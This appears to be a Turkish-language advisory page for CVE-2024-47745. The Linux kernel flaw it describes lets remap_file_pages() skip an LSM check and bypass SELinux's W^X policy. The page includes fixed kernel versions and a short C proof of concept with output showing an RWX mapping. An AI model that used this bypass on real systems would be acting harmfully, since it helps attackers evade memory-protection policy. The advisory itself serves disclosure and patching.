CVE-2024-47745
Açıklama
Linux kernel içerisinde aşağıdaki güvenlik açığı giderilmiştir: mm: remap_file_pages() fonksiyonunda security_mmap_file() LSM kancası çağrılıyor remap_file_pages sistem çağrısı işleyicisi, LSM güvenlik kontrolünü içermeyen do_mmap() fonksiyonunu doğrudan çağırmaktadır. Eğer süreç daha önce personality(READ_IMPLIES_EXEC) fonksiyonunu çağırdıysa ve RW sayfaları için remap_file_pages() çağrılırsa, bu durum aslında sayfaların RWX olarak yeniden eşlenmesine yol açarak SELinux tarafından uygulanan W^X politikasının atlatılmasına neden olur. Bu nedenle, do_mmap() çağrılmadan önce remap_file_pages sistem çağrısı işleyicisinde security_mmap_file LSM kancası ile prot kontrol edilmelidir. Aksi takdirde, bir saldırganın SELinux tarafından uygulanan W^X politikasını atlatmasına potansiyel olarak izin verir. Bu atlatma yöntemi, AIO üzerinden aynı durumu atlatan ve [1]'de bulunabilen CVE-2016-10044 ile benzerdir. PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // W^X politikası uygulanıyor olsa bile RWX sayfasının mevcut olduğunu gösterir int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: konu satırı düzenlemeleri]
Nasıl düzeltilir
- linux linux_kernel6.1.120, 6.6.54, 6.10.13, 6.11.2 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| linux linux_kernel | v < 6.1.120, 6.2 ≤ v < 6.6.54, 6.7 ≤ v < 6.10.13, 6.11 ≤ v < 6.11.2 | 6.1.120, 6.6.54, 6.10.13, 6.11.2 |
| debian debian_linux | 11.0 | — |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.